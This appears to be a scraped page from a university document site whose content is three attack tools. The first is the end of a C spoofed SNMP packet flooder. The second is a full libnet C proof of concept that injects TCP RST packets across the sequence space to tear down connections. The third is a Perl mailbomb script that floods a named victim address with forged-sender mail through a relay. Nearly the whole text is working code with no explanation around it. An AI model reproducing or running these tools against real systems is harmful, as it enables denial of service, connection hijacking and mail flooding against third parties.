char *packet, *packetck, *data; int datasize; destip_addr.s_addr=destaddr; sourceip_addr.s_addr=inet_addr(source); dest.sin_addr.s_addr=destip_addr.s_addr; datasize=sizeof(snmpkill); packet = ( char * )malloc( 20 + 8 + datasize ); IP = (struct ip *)packet; memset(packet,0,sizeof(packet)); IP->ip_dst.s_addr = destip_addr.s_addr; IP->ip_src.s_addr = sourceip_addr.s_addr; IP->ip_v = 4; IP->ip_hl = 5; IP->ip_ttl = 245; IP->ip_id = htons(1047); IP->ip_p = 17; IP->ip_len = htons(20 + 8 + datasize); IP->ip_sum = in_cksum((u_short *)packet,20); UDP = (struct udphdr *)(packet+20); UDP->source = htons(161); UDP->dest = htons(161); UDP->len = htons(8+datasize); UDP->check = 0; packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp)); bzero(packetck,8 + datasize + sizeof(struct pseudoudp)); psudp = (struct pseudoudp *) (packetck); psudp->ipdest = destip_addr.s_addr; psudp->ipsource = sourceip_addr.s_addr; psudp->zero = 0; psudp->proto = 17; psudp->length = htons(8+datasize); memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize); memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize); UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp)); data = (unsigned char *)(packet+20+8); memcpy(data,snmpkill,datasize); return(sendto(sok,packet,20+8+datasize,0,(struct sockaddr *) &dest,sizeof(struct sockaddr)));



free(packet); free(packetck); } int main(int argc,char **argv){ if(argc < 3) { usage(); return 0; } while((c=getopt(argc,argv,"t:f:l:"))!=EOF){ switch(c) { case 't': source=optarg; break; case 'f': filename=optarg; break; case 'l': loop=atoi(optarg); break; default: usage(); } } loadfile(); dest.sin_family=AF_INET; if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0) { printf("Can't create socket.\n"); exit(EXIT_FAILURE); } n=0; while(lcount < loop){ while(n < num){ if(sendit(address[n]) == -1) printf ("SENDING ERROR!\n"); n++; count++; } if(n == num){ n = 0; lcount++;} } printf("%i packets sent\n", count); return 0; }



TCP RESET /* * tcp_reset.c: Proof of concept exploit that demonstrates the vulnerability described * by Paul A. Watson in his paper "Slipping In The Window: TCP Reset Attacks" * * You need libnet 1.1.x * * Compile: * gcc tcp_reset.c -o tcp_reset -lnet * * By: eazy <[email protected]> */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include "/usr/include/libnet.h" void usage(char *prog) { fprintf(stderr, "Usage: %s -s <src ip> -d <dst ip> -p <src port> -q <dst port> [-n <seq>] [-w <window size>] [-t <timeout>]\n" "\t-s\tsource ip address\n" "\t-d\tdestination ip address\n" "\t-p\tsource port\n" "\t-q\tdestination port\n" "\t-n\tinitial sequence number (default random)\n" "\t-w\twindow size (default 1000)\n" "\t-t\tpacket timeout (default 10000 usec)\n" ,prog); exit(-1); } int main(int argc, char **argv) { int c, build_ip, opt, win = 1000, timeout = 10000; unsigned short src_port = 0, dst_port = 0; unsigned long src_ip = 0, dst_ip = 0, seq = 0; libnet_t *l; libnet_ptag_t tcp, ip; struct libnet_stats stat; char errbuf[LIBNET_ERRBUF_SIZE]; int cont = 0; memset(&stat, 0, sizeof(stat)); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {



fprintf(stderr, "Libnet_init error: %s\n", errbuf); exit(-1); } while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1) switch (opt) { case 's': src_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'd': dst_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'p': src_port = atoi(optarg); break; case 'q': dst_port = atoi(optarg); break; case 'n': seq = strtoul(optarg, NULL, 0); break; case 'w': win = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'h': case '?': usage(argv[0]); } if (optind < argc) usage(argv[0]); if (!src_ip || !dst_ip || !src_port || !dst_port) usage(argv[0]); if (!seq) { libnet_seed_prand(l); seq = libnet_get_prand(LIBNET_PRu32); } for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1; seq < 4294967296 - win; seq += win) { tcp = libnet_build_tcp( src_port, /* source port */ dst_port, /* destination port */ seq, /* sequence number */ 0, /* acknowledgement num */ TH_RST, /* control flags */ 31337, /* window size */



0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ tcp); /* libnet id */ if (tcp == -1) { fprintf(stderr, "Libnet_build_tcp error: %s\n", libnet_geterror(l)); goto bad; } if (build_ip) { build_ip = 0; ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H, /* length */ 0, /* TOS */ 666, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Libnet_build_ipv4 error: %s\n", libnet_geterror(l)); goto bad; } } if ((c = libnet_write(l)) == -1) { fprintf(stderr, "Libnet_write error: %s\n", libnet_geterror(l)); goto bad; } if ( (++cont % 100) == 0){ printf("."); fflush(NULL); } usleep(timeout); } libnet_stats(l, &stat); fprintf(stderr, "Packets sent: %d (%d bytes)\n" "Packet errors: %d\n",



stat.packets_sent, stat.bytes_written, stat.packet_errors); libnet_destroy(l); exit(0); bad: libnet_destroy(l); exit(-1); }



Mailbomb v1.0

#!/usr/local/bin/perl # title: mailbomb v1.0 # author: Mike Jackson / [email protected] # date: 12/04/03 # purpose: to aid system administrators in tweaking spam filters use Net::SMTP; if ( ! $ARGV[0] || ! $ARGV[1] || ! $ARGV[2] ) { print "\nmailbomb v1.0 - mass e-mail tool to aid sysadmins in tweaking spam filters - written by Mike Jackson\n"; print "\nusage: mailbomb.pl <victim\@victimhost.com> <mail relay> <amount> [-s] [\"subject here\"] [-b] [\"body text here\"]\n"; print " ex: ./mailbomb.pl bill\@microsoft.com maila.microsoft.com 100 -s \"Windows Sucks!\" -b \"Hi Bill, Windows should really be called Open Doors!\"\n note: if you don't specify the subject/bodytext on the command line, it'll use the static defaults.\n\n"; exit 0; } if ( $ARGV[3] eq '-s' && $ARGV[4] ) { $subject = $ARGV[4]; } if ( $ARGV[3] eq '-b' && $ARGV[4] ) { $body = $ARGV[4]; } if ( $ARGV[3] eq '-s' && $ARGV[5] eq '-b' ) { $subject = $ARGV[4]; $body = $ARGV[6]; } if ( $ARGV[3] eq '-b' && $ARGV[5] eq '-s' ) { $subject = $ARGV[6]; $body = $ARGV[4]; } # put our destination email address into a variable $victim = $ARGV[0]; # put our mail relay into a variable $mailrelay = $ARGV[1]; # put our number of emaisl into a variable $numtime = $ARGV[2]; # get the current date/time for emails and put it into a variable $time = localtime; # static subjects/realnames/users/domains to use for randomized email flooding - MODIFY TO YOUR LIKING! @static_subjects = ("RE: weekend", "Fwd: Joke", "what's up", "that job", "job posting", "url", "what a night", "christmas party", "celebration", "congrats!", "welcome", "trip", "vacation", "beaches", "time off", "boys weekend", "girls weekend", "that girl", "yo", "what's happenin?", "you still have it?", "going this weekend?", "he said you'd be able to help", "she said you'd be able to help"); @static_realnames = ("Put Your", "Random Real", "Names Here" ); @static_users = qw ( ident1 ident2 ident3 etc4 ); @static_domains = qw ( a.com b.com c.com d.com e.com etc.com );



# connect to our mail relay $smtp = Net::SMTP->new(gethostbyname($mailrelay)); # print some program information print "\nmailbomb v1.0 - mass e-mail tool to aid sysadmins in tweaking spam filters - written by Mike Jackson\n"; print "\nnote: if you don't specify the subject/bodytext on the command line, it'll use the static defaults.\n\nmail flooding \[$victim\] $numtime times.\n\n"; # begin our main program loop for ( $mikeloop=1; $mikeloop<$numtime+1; $mikeloop+=1 ) { if ( ! $ARGV[3] ) { $subject = $static_subjects[rand @static_subjects]; } if ( $ARGV[3] eq '-b' && ! $ARGV[5] ) { $subject = $static_subjects[rand @static_subjects]; } if ( ! $body ) { $body = "change this static body text"; } $realname = $static_realnames[rand @static_realnames]; $users = $static_users[rand @static_users]; $domains = $static_domains[rand @static_domains]; print "sending [$mikeloop/$numtime] from: [$users\@$domains] subject: [$subject] and body text: [$body]\n"; $smtp->mail(`$users\@$domains`); $smtp->to($victim); $smtp->data(); $smtp->datasend("Date: $time\n"); $smtp->datasend("From:$realname <$users\@$domains>\n"); $smtp->datasend("To: $victim\n"); $smtp->datasend("Subject: $subject\n"); $smtp->datasend("\n"); $smtp->datasend("$body\n"); $smtp->dataend(); } print "\n"; # disconnect from mail relay $smtp->quit;

UNIVERSITA’ DEGLI STUDI DI SALERNO -...

Documents

Transcript of UNIVERSITA’ DEGLI STUDI DI SALERNO -...